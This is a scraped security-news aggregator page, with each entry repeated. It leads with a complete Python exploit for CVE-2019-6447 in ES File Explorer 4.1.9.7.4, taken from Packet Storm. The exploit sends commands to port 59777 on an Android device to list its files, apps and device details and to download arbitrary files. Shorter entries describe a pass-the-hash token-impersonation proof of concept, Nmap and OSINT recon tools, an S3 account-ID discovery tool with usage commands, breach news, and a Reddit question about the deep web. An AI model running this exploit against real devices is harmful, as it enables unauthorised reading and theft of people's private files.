Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ES File Explorer 4.1.9.7.4 Arbitrary File Read
https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
ES File Explorer version 4.1.9.7.4 arbitrary file read exploit.
MD5 |
Download
Source:packetstormsecurity.com
ES File Explorer 4.1.9.7.4 Arbitrary File Read
https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
ES File Explorer version 4.1.9.7.4 arbitrary file read exploit.
MD5 |
3c25d5c9cc6d583b07aa0211035656b6Download
# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
# Date: 29/06/2021
# Exploit Author: Nehal Zaman
# Version: ES File Explorer v4.1.9.7.4
# Tested on: Android
# CVE : CVE-2019-6447
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} <ip[file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as `out.dat`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Survey Data Reveals Gap in Americans' Security Awareness
Survey data reveals many people have never heard of major cyberattacks, including the attack targeting Colonial Pipeline.
Survey Data Reveals Gap in Americans' Security Awareness
Survey data reveals many people have never heard of major cyberattacks, including the attack targeting Colonial Pipeline.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
NamedPipePTH : Pass The Hash To A Named Pipe For Token Impersonation
NamedPipePTH project is a PoC code to use Pass-the-Hash for authentication on a local Named Pipe user Impersonation. There also is a blog post for explanation: https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/ It is heavily based on the code from the projects Invoke-SMBExec.ps1 and RoguePotato. I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low […]
The post NamedPipePTH : Pass The Hash To A Named Pipe For Token Impersonation appeared first on Kali Linux Tutorials.
NamedPipePTH : Pass The Hash To A Named Pipe For Token Impersonation
NamedPipePTH project is a PoC code to use Pass-the-Hash for authentication on a local Named Pipe user Impersonation. There also is a blog post for explanation: https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/ It is heavily based on the code from the projects Invoke-SMBExec.ps1 and RoguePotato. I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low […]
The post NamedPipePTH : Pass The Hash To A Named Pipe For Token Impersonation appeared first on Kali Linux Tutorials.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Gather information and exploit the network with Dracnmap
https://cdn-images-1.medium.com/max/771/1*RvUNVXB7sUQjuzjyQ78ewA.png
Dracnmap is an open-source program that is utilizing to misuse the system and gathering data with Nmap help. Nmap command accompanies…
Continue reading on Purple TEAM »
Gather information and exploit the network with Dracnmap
https://cdn-images-1.medium.com/max/771/1*RvUNVXB7sUQjuzjyQ78ewA.png
Dracnmap is an open-source program that is utilizing to misuse the system and gathering data with Nmap help. Nmap command accompanies…
Continue reading on Purple TEAM »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Comprehensive OSINT framework — ReconSpider
https://cdn-images-1.medium.com/max/746/1*1VLlsZEgynnQM-XaV2VXOA.png
ReconSpider is a capable tool to perform Open Source Intelligence scans on email, domain, ip_address, and organization. ReconSpider…
Continue reading on Purple TEAM »
Comprehensive OSINT framework — ReconSpider
https://cdn-images-1.medium.com/max/746/1*1VLlsZEgynnQM-XaV2VXOA.png
ReconSpider is a capable tool to perform Open Source Intelligence scans on email, domain, ip_address, and organization. ReconSpider…
Continue reading on Purple TEAM »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
LinkedIn 700 Milyon Veri Çaldırdı!
https://cdn-images-1.medium.com/max/1080/1*TgLNyW2eAxEkYfQHUb1Wrw.png
LinkedIn’in 700 milyon kişinin verileri çalındığı iddia ediliyor.
Continue reading on Medium »
LinkedIn 700 Milyon Veri Çaldırdı!
https://cdn-images-1.medium.com/max/1080/1*TgLNyW2eAxEkYfQHUb1Wrw.png
LinkedIn’in 700 milyon kişinin verileri çalındığı iddia ediliyor.
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hackers Are Investing in Each Other’s Operations — Just Like VCs Invest in Startups
https://cdn-images-1.medium.com/max/2600/1*2AoMAgFnpmJ33mlMaWf37w.jpeg
Ransomware continues to grow more sophisticated and lucrative, and now security firm LIFARS says operators have built a Silicon…
Continue reading on Fast Company »
Hackers Are Investing in Each Other’s Operations — Just Like VCs Invest in Startups
https://cdn-images-1.medium.com/max/2600/1*2AoMAgFnpmJ33mlMaWf37w.jpeg
Ransomware continues to grow more sophisticated and lucrative, and now security firm LIFARS says operators have built a Silicon…
Continue reading on Fast Company »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Python in Ethical Hacking
https://cdn-images-1.medium.com/max/1280/0*_aSmuf1mgZnYhJR6.jpg
We can use gedit as the code editor in kali linux.
Continue reading on Medium »
Python in Ethical Hacking
https://cdn-images-1.medium.com/max/1280/0*_aSmuf1mgZnYhJR6.jpg
We can use gedit as the code editor in kali linux.
Continue reading on Medium »
Deep Web
Is it illegal to browse deep web sites ?
I'm curious about the deep web, and I want to check if these black market sites are real. I'm not going to be purchasing anything (why I'm posting this on reddit with no VPN, I don't mind my ISP tracking me because im not going to be doing anything like that) or viewing demented stuff (you can guess). but seeing all the posts and stories about sites like the Silk Road and such, is it illegal to simply view these sites? I feel like it's not but I wanna check to make sure
submitted by /u/Connor30302
[link] [comments]
Is it illegal to browse deep web sites ?
I'm curious about the deep web, and I want to check if these black market sites are real. I'm not going to be purchasing anything (why I'm posting this on reddit with no VPN, I don't mind my ISP tracking me because im not going to be doing anything like that) or viewing demented stuff (you can guess). but seeing all the posts and stories about sites like the Silk Road and such, is it illegal to simply view these sites? I feel like it's not but I wanna check to make sure
submitted by /u/Connor30302
[link] [comments]
S3-Account-Search - S3 Account Search
http://www.kitploit.com/2021/06/s3-account-search-s3-account-search.html
http://www.kitploit.com/2021/06/s3-account-search-s3-account-search.html
This tool lets you find the account id an S3 bucket belongs too. For this to work you need to have at least one of these permissions: Permission to download a known file from the bucket (s3:getObject). Permission to list the contents of the bucket (s3:ListBucket). Additionally, you will need a role that you can assume with (one of) these permissions on the bucket you're examining Some more background can be found on the Cloudar Blog (https://www.cloudar.be/awsblog/finding-the-accountid-of-any-public-s3-bucket/)
Installation
This package is available on pypi, you can for example use on of these commands (pipx is recommended) pipx install s3-account-search
pip install s3-account-search
Usage Examples
# with a bucket
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
# with an object
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
# You can also leave out the s3://
s3-account-search arn:aws:iam::123456789012:role/s3_read my-bucket
# Or start from a specified source profile
s3-account-search --profile source_profile arn:aws:iam::123456789012:role/s3_read s3://my-bucket
How this works
There is an IAM policy condition s3:ResourceAccount, that is meant to be used to give access (https://www.kitploit.com/search/label/Access) to S3 in specified (set of) account(s), but also supports wildcards. By constructing the right patterns, and seeing which ones will lead to a Deny or an Allow, we can determine the account id by discovering it one digit at a time. We verify that we can access the object or bucket with the provided role We assume the same role again, but this time add a policy that restricts our access to S3 buckets that exist (https://www.kitploit.com/search/label/EXIST) in an account starting with 0. If our access is allowed we know that the account id has to start with 0. If the request is denied, we try again with 1 as the first digit. We keep incrementing until our request is allowed, and we find the first digit We repeat this process for every digit. Using the already discovered digits as a prefix. E.g. if the first digit was 8, we test account ids starting with 80, 81, 82, etc.
Development
We use poetry to manage this project Clone this repository Run poetry install Activate the virtualenvironment with poetry shell (you can also use poetry run $command)
Releasing a new version to pypi
Edit pyproject.toml to update the version number Commit the version number bump Run poetry publish --build Push to GitHub Create a new release in GitHub
Possible improvements
Instead of checking one digit at a time, we could use a binary (https://www.kitploit.com/search/label/Binary) search-like algorithm. Eg. the following condition is equivalent to s3:ResourceAccount < 500000000000 "Condition": {
"StringLike": {"s3:ResourceAccount": [
"0*", "1*", "2*", "3*", "4*",
]},
}, Similarly, there is a speed improvement possible by checking multiple digits per position in parallel (There is a small risk of being rate limited by STS when using this approach) In practice this tool should be fast enough in most cases.
Download S3-Account-Search (https://github.com/WeAreCloudar/s3-account-search)
Installation
This package is available on pypi, you can for example use on of these commands (pipx is recommended) pipx install s3-account-search
pip install s3-account-search
Usage Examples
# with a bucket
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
# with an object
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
# You can also leave out the s3://
s3-account-search arn:aws:iam::123456789012:role/s3_read my-bucket
# Or start from a specified source profile
s3-account-search --profile source_profile arn:aws:iam::123456789012:role/s3_read s3://my-bucket
How this works
There is an IAM policy condition s3:ResourceAccount, that is meant to be used to give access (https://www.kitploit.com/search/label/Access) to S3 in specified (set of) account(s), but also supports wildcards. By constructing the right patterns, and seeing which ones will lead to a Deny or an Allow, we can determine the account id by discovering it one digit at a time. We verify that we can access the object or bucket with the provided role We assume the same role again, but this time add a policy that restricts our access to S3 buckets that exist (https://www.kitploit.com/search/label/EXIST) in an account starting with 0. If our access is allowed we know that the account id has to start with 0. If the request is denied, we try again with 1 as the first digit. We keep incrementing until our request is allowed, and we find the first digit We repeat this process for every digit. Using the already discovered digits as a prefix. E.g. if the first digit was 8, we test account ids starting with 80, 81, 82, etc.
Development
We use poetry to manage this project Clone this repository Run poetry install Activate the virtualenvironment with poetry shell (you can also use poetry run $command)
Releasing a new version to pypi
Edit pyproject.toml to update the version number Commit the version number bump Run poetry publish --build Push to GitHub Create a new release in GitHub
Possible improvements
Instead of checking one digit at a time, we could use a binary (https://www.kitploit.com/search/label/Binary) search-like algorithm. Eg. the following condition is equivalent to s3:ResourceAccount < 500000000000 "Condition": {
"StringLike": {"s3:ResourceAccount": [
"0*", "1*", "2*", "3*", "4*",
]},
}, Similarly, there is a speed improvement possible by checking multiple digits per position in parallel (There is a small risk of being rate limited by STS when using this approach) In practice this tool should be fast enough in most cases.
Download S3-Account-Search (https://github.com/WeAreCloudar/s3-account-search)